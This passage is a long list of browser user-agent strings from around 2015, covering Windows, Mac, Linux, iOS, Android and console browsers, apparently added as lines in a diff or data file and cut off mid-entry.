+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53 +Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; ARM; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFASWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53 +Mozilla/5.0 (X11; CrOS armv7l 7077.134.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.156 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFSOWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3 +Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 +Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDRJS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFAPWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFOT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFARWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 10.0; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAGWJS; rv:11.0) like Gecko +Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/7.1.5 Safari/537.85.14 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP06; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.8 (KHTML, like Gecko) Version/8.0.3 Safari/600.4.8 +Mozilla/5.0 (iPad; CPU OS 7_0_6 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B651 Safari/9537.53 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/7.1.3 Safari/537.85.12 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview) Chrome/27.0.1453 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 AOL/9.7 AOLBuild/4343.4049.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H321 +Mozilla/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B511 Safari/9537.53 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/7.1.2 Safari/537.85.11 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; ASU2JS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) Qt/4.8.5 Safari/534.34 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 BingPreview/1.0b +Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 7262.52.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.86 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/7.1.4 Safari/537.85.13 +Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Android; Tablet; rv:40.0) Gecko/40.0 Firefox/40.0 +Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFSAWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 AOL/9.8 AOLBuild/4346.13.US Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MAAU; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_0_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A501 Safari/9537.53 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 +Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/7.0.55539 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; FunWebProducts; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAARJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENUS; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWA Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174 +Mozilla/5.0 (Linux; Android 4.0.4; BNTV600 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie9; rv:11.0) like Gecko +Mozilla/5.0 (Linux; Android 5.0.2; SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A4325c Safari/601.1 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/7.0) +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 +Mozilla/5.0 (PlayStation 4 2.57) AppleWebKit/537.73 (KHTML, like Gecko) +Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0 +Mozilla/5.0 (Linux; Android 5.0; SM-G900V Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; LCJB; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; Touch) +Mozilla/5.0 (Linux; Android 5.0.2; SM-T800 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MASMJS; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; ASJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 +Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-I545 4G Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) 